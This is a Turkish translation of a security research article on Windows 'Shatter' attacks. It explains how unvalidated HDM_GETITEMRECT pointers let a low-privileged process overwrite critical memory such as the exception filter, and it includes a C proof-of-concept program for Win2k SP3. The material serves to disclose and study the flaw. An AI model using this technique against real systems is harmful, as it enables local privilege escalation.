Shatter(Kirma)
Çeviren : Cyber-Warrior Haberci Grubu (Stroller)
Shatter(Kirma) saldirilari haftanin açigi oldugundan, Biraz ilginç bilgiler
ekleyecegimi düsünüyorum. Bilgiyi yeniden karistiracak degilim, bilgi zaten
hazir. Eger okumayan varsa takip eden iki makaleyi okuyun.
NGSSoftware Insight Security Research Advisory (ing)
*http://www.ngssoftware.com/advisories/utilitymanager.txt
iDEFENSE Security Advisory (ing)
*http://www.idefense.com/advisory/07.11.03.txt
Bu iki sayfa shatter saldirisi hakkinda tüm bilgiyi içerir.
Burada anlatacagim teknik düsük seviyeli bir kullanicin bir sistemdeki önemli
yollara nasil yazabilecegidir(overwrite). (SEH gibi hafiza konumlari)
Detay:
Birçok Windows mesajlari Windows hakkindaki GDI bilgilerini geri almak için
bir POINT(nokta) yada RECT·e pointer(gösterge) kabul eder. Bu göstergelerin
onaylandigi ne olursa olsun görülmez.
HDM_GETITEMTRECT mesajina konsantre olacagiz:
(MSDN·den)
HDM_GETITEMRECT Mesaji
Bir üst kontrolde verilen parçanin dikdörtgenini geri yükler.
Bu mesaji belirgince yollayabilirsiniz yada Header_GetItemRect makrosunu kullanin.
Sözdizim
Bu mesaji yollamak için asagidaki gibi SendMessage fonksiyonunu kullanin:
Result = SendMessage((HWND) hWndControl, // kontrol altinda tutar.
- (UINT) HDM_GETITEMRECT, // mesaj nosu (message ID)
- (WPARAM) wParam, // = (WPARAM) (int) iIndex;
- (LPARAM) lParam ); // = (LPARAM) (RECT*)
-lpItemRect;
- Parametreleri
- iIndex
- Üst kontrolün dikdörgeni geri yüklemek için gereken zero-based (sifir-temellenmis)
içerigi.
- lpItemRect
-Dikdörteni geri yükleyen RECT·a giden gösterge bilgisi
(MSDN sonu)
Yani eger Unhandled Exception Filter 77edxxxx·in üzerine yazmak istersek sunu
çagiririz:
SendMessage(hwnd,HDM_GETITEMRECT,0,0x77edxxxx)
Simdi ugrastiracak olan sey yazilan adresi nasil kontrol edecegimizdir.
Now the challenge is how do we control what is been written to the address.
RECT yapisi asagidaki gibi tanimlanir:
(MSDN·den)
- typedef struct _RECT {
- LONG left; (sol)
- LONG top; (üst)
- LONG right; (sag)
- LONG bottom; (alt)
- } RECT, *PRECT;
(MSDN sonu)
Kontrol edebildigimiz tek degerler sag girintisi yada genisligi. Boyut sinirli
olmasina ragmen sadece 16 bitine yazmamiza izin veriyor. Yüksek bitler 0000·a.
Ancak yazilan adresimizi dengelersek 16 bitlik kontrol saglayabiliriz.
Eger iskelet kodumuzu XXXX0000 içerecek sekilde adrese yerlestirirsek iskelet
kodumuzda genisligi XXXX seklinde ayarlayabilecegiz; yazmaya neden olarak ve
istisna olarak.
Resimler bin kelimeye bedeldir. Bu yüzden bu örnegin üzerinde çalisalim.
Örnek Kod
/*******************************************************
* shatterseh.c
*
* Daha fazla shatter saldirisi oldugunu kanitlamak için örnek kod.
*
* Kritik hafiza adresleri üzerine yazilabildigini kanitlamak.
* Bu sadece örnek koddur ve iskelet koda erimez.
* Çünkü üst büyüklük gereklidir.
*
* Özel bir pencere seçmelisiniz.
* handles gereklidir
*
* Benim win2k SP3 ile uyumludur.
*
* Brett Moore [ brett.mooresecurity-assessment.com ]
* www.security-assessment.com
*******************************************************/
#include <windows.h>
#include <commctrl.h>
int main(int argc, char *argv[])
{
long lResult;
long hWndControl,hHdrControl;
char buffer[65535];
// Tampon malzemesi
memset(buffer,0x04,sizeof(buffer));
// Pencere basligi almak
hWndControl = 0x000C01E6;
// Pencere basligini belirtme
lResult = SendMessage((HWND) hWndControl,(UINT) WM_SETTEXT,0,&buffer);
// Üst basligi listeleme
hWndControl = 0x000E0274;
// Önemli bir seyin üzerine yazmak
lResult = SendMessage((HWND) hWndControl,(UINT)
HDM_GETITEMRECT,0,0x77EDA1EA);
// Istisnai durum
lResult = SendMessage((HWND) hWndControl,(UINT) HDM_GETITEMRECT,0,1);
return 0;
}